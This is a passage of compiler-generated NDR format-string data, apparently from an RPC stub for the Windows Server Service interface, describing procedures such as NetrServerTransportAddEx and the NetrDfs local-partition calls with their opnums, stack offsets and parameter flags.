Type Offset=3256 */\n\n\t/* Return value */\n\n/* 2308 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2310 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2312 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrServerTransportAddEx */\n\n/* 2314 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2316 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2320 */\tNdrFcShort( 0x29 ),\t/* 41 */\n/* 2322 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2324 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2326 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2328 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2330 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2332 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2334 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 2336 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 2338 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2340 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2342 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2344 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 2346 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2348 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2350 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 2352 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2354 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2356 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Buffer */\n\n/* 2358 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2360 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2362 */\tNdrFcShort( 0xcd0 ),\t/* Type Offset=3280 */\n\n\t/* Return value */\n\n/* 2364 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2366 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2368 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum42NotUsedOnWire */\n\n/* 2370 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2372 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2376 */\tNdrFcShort( 0x2a ),\t/* 42 */\n/* 2378 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2380 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2382 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2384 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2386 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2388 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 2390 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2392 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2394 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2396 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2398 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure NetrDfsGetVersion */\n\n/* 2400 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2402 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2406 */\tNdrFcShort( 0x2b ),\t/* 43 */\n/* 2408 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2410 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2412 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2414 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2416 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2418 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2420 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 2422 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2424 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2426 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2428 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2430 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 2432 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2434 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2436 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Version */\n\n/* 2438 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2440 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2442 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2444 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2446 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2448 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrDfsCreateLocalPartition */\n\n/* 2450 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2452 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2456 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 2458 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 2460 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2462 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2464 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2466 */\tNdrFcShort( 0x4c ),\t/* 76 */\n/* 2468 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2470 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 2472 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 2474 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2476 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2478 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2480 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 2482 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2484 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2486 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter ShareName */\n\n/* 2488 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2490 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2492 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter EntryUid */\n\n/* 2494 */\tNdrFcShort( 0x10a ),\t/* Flags:  must free, in, simple ref, */\n/* 2496 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2498 */\tNdrFcShort( 0xd0c ),\t/* Type Offset=3340 */\n\n\t/* Parameter EntryPrefix */\n\n/* 2500 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2502 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2504 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter ShortName */\n\n/* 2506 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2508 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2510 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter RelationInfo */\n\n/* 2512 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2514 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2516 */\tNdrFcShort( 0xd58 ),\t/* Type Offset=3416 */\n\n\t/* Parameter Force */\n\n/* 2518 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2520 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2522 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2524 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2526 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 2528 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrDfsDeleteLocalPartition */\n\n/* 2530 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2532 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2536 */\tNdrFcShort( 0x2d ),\t/* 45 */\n/* 2538 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2540 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2542 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2544 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2546 */\tNdrFcShort( 0x44 ),\t/* 68 */\n/* 2548 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2550 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 2552 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2554 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2556 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2558 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2560 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 2562 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2564 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2566 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Uid */\n\n/* 2568 */\tNdrFcShort( 0x10a ),\t/* Flags:  must free, in, simple ref, */\n/* 2570 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2572 */\tNdrFcShort( 0xd0c ),\t/* Type Offset=3340 */\n\n\t/* Parameter Prefix */\n\n/* 2574 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2576 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2578 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Return value */\n\n/* 2580 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2582 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2584 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrDfsSetLocalVolumeState */\n\n/* 2586 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2588 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2592 */\tNdrFcShort( 0x2e ),\t/* 46 */\n/* 2594 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2596 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2598 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2600 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2602 */\tNdrFcShort( 0x4c ),\t/* 76 */\n/* 2604 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2606 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 2608 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2610 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2612 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2614 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2616 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 2618 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2620 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2622 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Uid */\n\n/* 2624 */\tNdrFcShort( 0x10a ),\t/* Flags:  must free, in, simple ref, */\n/* 2626 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2628 */\tNdrFcShort( 0xd0c ),\t/* Type Offset=3340 */\n\n\t/* Parameter Prefix */\n\n/* 2630 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2632 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2634 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter State */\n\n/* 2636 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2638 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2640 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2642 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2644 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2646 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum47NotUsedOnWire */\n\n/* 2648 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2650 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2654 */\tNdrFcShort( 0x2f ),\t/* 47 */\n/* 2656 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2658 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2660 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2662 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2664 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2666 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 2668 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2670 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2672 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2674 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2676 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure NetrDfsCreateExitPoint */\n\n/* 2678 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2680 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2684 */\tNdrFcShort( 0x30 ),\t/* 48 */\n/* 2686 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 2688 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2690 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2692 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2694 */\tNdrFcShort( 0x54 ),\t/* 84 */\n/* 2696 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2698 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 2700 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 2702 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2704 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2706 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2708 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 2710 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2712 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2714 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Uid */\n\n/* 2716 */\tNdrFcShort( 0x10a ),\t/* Flags:  must free, in, simple ref, */\n/* 2718 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2720 */\tNdrFcShort( 0xd0c ),\t/* Type Offset=3340 */\n\n\t/* Parameter Prefix */\n\n/* 2722 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2724 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2726 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter Type */\n\n/* 2728 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2730 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2732 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ShortPrefixLen */\n\n/* 2734 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 2736 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2738 */\tNdrFcShort( 0xd68 ),\t/* 3432 */\n\n\t/* Parameter ShortPrefix */\n\n/* 2740 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 2742 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2744 */\tNdrFcShort( 0xd76 ),\t/* Type Offset=3446 */\n\n\t/* Return value */\n\n/* 2746 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2748 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2750 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrDfsDeleteExitPoint */\n\n/* 2752 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2754 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2758 */\tNdrFcShort( 0x31 ),\t/* 49 */\n/* 2760 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2762 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2764 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2766 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2768 */\tNdrFcShort( 0x4c ),\t/* 76 */\n/* 2770 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2772 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 2774 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2776 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2778 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2780 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2782 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 2784 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2786 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2788 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Uid */\n\n/* 2790 */\tNdrFcShort( 0x10a ),\t/* Flags:  must free, in, simple ref, */\n/* 2792 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2794 */\tNdrFcShort( 0xd0c ),\t/* Type Offset=3340 */\n\n\t/* Parameter Prefix */\n\n/* 2796 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2798 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2800 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter Type */\n\n/* 2802 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2804 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2806 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2808 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2810 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2812 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrDfsModifyPrefix */\n\n/* 2814 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2816 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2820 */\tNdrFcShort( 0x32 ),\t/* 50 */\n/* 2822 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2824 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2826 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2828 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2830 */\tNdrFcShort( 0x44 ),\t/* 68 */\n/* 2832 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2834 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 2836 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2838 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2840 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2842 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2844 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 2846 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2848 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2850 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Uid */\n\n/* 2852 */\tNdrFcShort( 0x10a ),\t/* Flags:  must free, in, simple ref, */\n/* 2854 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2856 */\tNdrFcShort( 0xd0c ),\t/* Type Offset=3340 */\n\n\t/* Parameter Prefix */\n\n/* 2858 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2860 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2862 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Return value */\n\n/* 2864 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2866 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2868 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrDfsFixLocalVolume */\n\n/* 2870 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2872 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2876 */\tNdrFcShort( 0x33 ),\t/* 51 */\n/* 2878 */\tNdrFcShort( 0x50 ),\t/* X64 Stack size/offset = 80 */\n/* 2880 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2882 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2884 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2886 */\tNdrFcShort( 0x5c ),\t/* 92 */\n/* 2888 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2890 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0xa,\t\t/* 10 */\n/* 2892 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 2894 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2896 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2898 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2900 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 2902 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2904 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2906 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter VolumeName */\n\n/* 2908 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2910 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2912 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter EntryType */\n\n/* 2914 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2916 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2918 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ServiceType */\n\n/* 2920 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2922 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2924 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter StgId */\n\n/* 2926 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2928 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2930 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter EntryUid */\n\n/* 2932 */\tNdrFcShort( 0x10a ),\t/* Flags:  must free, in, simple ref, */\n/* 2934 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2936 */\tNdrFcShort( 0xd0c ),\t/* Type Offset=3340 */\n\n\t/* Parameter EntryPrefix */\n\n/* 2938 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2940 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2942 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter RelationInfo */\n\n/* 2944 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2946 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 2948 */\tNdrFcShort( 0xd58 ),\t/* Type Offset=3416 */\n\n\t/* Parameter CreateDisposition */\n\n/* 2950 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2952 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 2954 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 